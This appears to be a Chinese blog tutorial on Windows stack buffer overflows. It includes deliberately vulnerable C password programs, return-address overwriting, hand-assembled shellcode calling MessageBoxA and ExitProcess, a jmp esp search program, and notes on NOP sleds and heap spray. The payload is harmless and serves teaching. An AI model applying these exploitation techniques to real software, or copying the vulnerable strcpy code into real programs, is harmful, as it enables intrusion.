zoukankan      html  css  js  c++  java
  • 栈溢出原理与 shellcode 开发

     ESP:该指针永远指向系统栈最上面一个栈帧的栈顶
     EBP:该指针永远指向系统栈最上面一个栈帧的底部
    01  修改函数返回地址
    1. #include<stdio.h>
    2. #include<string.h>
    3. #define PASSWORD "1234567"
    4. int verify_password (char *password)
    5. {
    6. int authenticated;
    7. char buffer[8];
    8. authenticated=strcmp(password,PASSWORD);
    9. strcpy(buffer,password);
    10. return authenticated;
    11. }
    12. int main()
    13. {
    14. int valid_flag=0;
    15. char password[1024];
    16. while(1)
    17. {
    18. printf("please input password:");
    19. scanf("%s",password);
    20. valid_flag = verify_password(password);
    21. if(valid_flag)
    22. {
    23. printf("incorrenct ");
    24. }
    25. else{
    26. printf("Congratulation ");
    27. break;
    28. }
    29. }
    30. return 0;
    31. }
    输入8个字符后结尾的NULL会覆盖authenticated

    02  控制函数执行流程
    1. #include<stdio.h>
    2. #include<string.h>
    3. #define PASSWORD "1234567"
    4. int verify_password (char *password)
    5. {
    6. int authenticated;
    7. char buffer[8];
    8. printf("%p ",&buffer);
    9. authenticated=strcmp(password,PASSWORD);
    10. strcpy(buffer,password);
    11. return authenticated;
    12. }
    13. int main()
    14. {
    15. int valid_flag=0;
    16. char password[1024];
    17. FILE *fp;
    18. if(!(fp=fopen("password.txt","rw+"))){
    19. exit(0);
    20. }
    21. fscanf(fp,"%s",password);
    22. valid_flag = verify_password(password);
    23. if(valid_flag)
    24. {
    25. printf("incorrenct password! ");
    26. }
    27. else{
    28. printf("Congratulation ");
    29. }
    30. fclose(fp);
    31. return 0;
    32. }
    (1) 摸清楚栈中的状况,函数地址距离缓冲区的偏移量
          
        通过字符串搜索得到返回地址0x00401122
    (2) 要得到程序中密码验证通过的指令地址,以便程序直接跳去这个分支执行
        需要逆序输入4个字节
        
    (3) 要在password.txt文件的相应偏移处填上这个地址
        
        由于栈内EBP等被覆盖为无效值,使得程序在退出时堆栈无法平衡

    03 向进程中植入代码
        1、Depends找到user32.dll基址 MessageBoxA偏移地址
            
         2、在汇编语言中调用这个函数需要获得这个函数的入口地址       
    机器码    汇编    注释    
    33DB    XOR EBX, EBX压如NULL结尾的“failwest”字符串
    53PUSH EBX之所以用EBX清零后入栈作为字符串的
    6877657374PUSH 6877657374截断符,是为了避免“PUSH 0”中的NULL
    686661696CPUSH 686661696C否则植入的机器码会被strcpy函数截断
    8BC4    MOV EAX, ESPEAX里是字符串指针    
    53PUSH EBX4个参数按从右向左的顺序入栈    
    50PUSH EAX分别是(0,failwest,failwest,0)
    50PUSH EAX
    53PUSH EBX
    B8EA07D577   MOV EAX, 0x77D507EA 调用MessageBoxA  不同的机器这里的函数入口 
    FFD0CALL EAX地址不同
        基地址+偏移地址 = MessageBoxA在内存中的入口地址
        
        90后面填入buffer地址
        成功通过溢出调用了MessageBoxA
        
        ESP所指的位置恰好是我们所淹没的返回地址的下一个位置
       
     
    **04  获取 “跳板” 的地址
        这种定位shellcode方法使进程空间里一条 jmp esp 指令作为跳板,不论栈帧怎么移位,都能跳回栈区
        获得 user32.dll 内跳转指令地址最直观的方法就是编程搜索内存
        
    1. #include<Windows.h>
    2. #include<stdio.h>
    3. #define DLL_NAME "user32.dll"
    4. int main()
    5. {
    6. BYTE* ptr;
    7. int position,address;
    8. HINSTANCE handle;
    9. BOOL done_flag = FALSE;
    10. handle = LoadLibrary(DLL_NAME);
    11. if(!handle)
    12. {
    13. printf(" load dll erro !");
    14. exit(0);
    15. }
    16. ptr = (BYTE*)handle;
    17. for(position = 0; !done_flag; position++)
    18. {
    19. try{
    20. if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
    21. {
    22. //0xFFE4 is the opcode of jmp esp
    23. int address = (int)ptr + postion;
    24. printf("OPCODE found at 0x%x ",address);
    25. }
    26. }
    27. catch(...)
    28. {
    29. int address = (int)ptr + position;
    30. printf("END OF 0x%x ", address);
    31. done_flag = true;
    32. }
    33. }
    34. return 0;
    35. }
        还可以用OllyUni.dll插件 http://cracklab.ru/olya/
        添加插件后,在c页面右键出现Overflew Return Address
        
        搜索完后,单击 “L” 可以在日志窗口中查看搜索结果
        为了让程序正常退出,需要用depends查找kernel32.dll中的ExitProcess的地址 
        
        写出shellcode的源代码
    1. #include<Windows.h>
    2. int main()
    3. {
    4. HINSTANCE LibHandle;
    5. char dllbuf[11] = "user32.dll";
    6. LibHandle = LoadLibrary(dllbuf);
    7. _asm{
    8. sub sp, 0x440
    9. xor ebx, ebx
    10. push ebx //cut string
    11. push 0x74736577
    12. push 0x6C696166
    13. mov eax, esp
    14. push ebx
    15. push eax
    16. push eax
    17. push ebx
    18. mov eax, 0x77D507EA
    19. call eax //call MessageBoxA
    20. push ebx
    21. mov eax, 0x7C81CAFA
    22. call eax //call exit(0)
    23. }
    24. }
        编译后在OD中打开,找到代码后dump:右键复制->到文件
        
        
    1. 33DB xor ebx,ebx
    2. 53 push ebx
    3. 68 77657374 push 0x74736577
    4. 68 6661696C push 0x6C696166
    5. 8BC4 mov eax,esp
    6. 53 push ebx
    7. 50 push eax
    8. 50 push eax
    9. 53 push ebx
    10. B8 EA07D577 mov eax,user32.MessageBoxA
    11. FFD0 call eax
    12. 53 push ebx
    13. B8 FACA817C mov eax,kernel32.ExitProcess
    14. FFD0 call eax


        
        在shellcode前加上jmp esp的地址
        
    05  地址错位
        为了通用性,我们通常会在shellcode一开始就大范围抬高栈顶,从而达到保护自身安全的目的
        mov eax,esp 和 jmp eax 也可以完成进入栈区的功能
        扩大shellcode面积,提高命中率(函数返回时,只要能击中nop区shellcode就能执行
        大面积“扫射”返回地址(用一大片返回地址来覆盖真正的返回地址,增加命中的成功率)
        解决字节错位:不同的主机会有不同的安装目录,可能导致覆盖的地址错位失效,使用按字节相同的双字节跳转地址,甚至可以使用堆中的地址,然后想办法将shellcode用堆扩展的办法放置在响应的区域,这种heap spray的办法经常在IE漏洞中使用
        

     


     

     




  • 相关阅读:
    CSP 2020 提高组第一轮
    初赛胡扯
    Sublime安装SublimeServer插件开启本地服务器
    Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: No "exports" main defined in XXX ode_modules@babelhelper-compilation-targetspackage.json
    Vue解决less-loader报错 TypeError: this.getOptions is not a function
    Vue-cli项目关闭eslint检查
    Typora添加主题
    Oracle存储过程中EXECUTE IMMEDIATE 执行结果是空时怎么继续执行
    存储过程--异常捕获
    git和github的基本使用(2)
  • 原文地址:https://www.cnblogs.com/trojan-z/p/6663533.html
Copyright © 2011-2022 走看看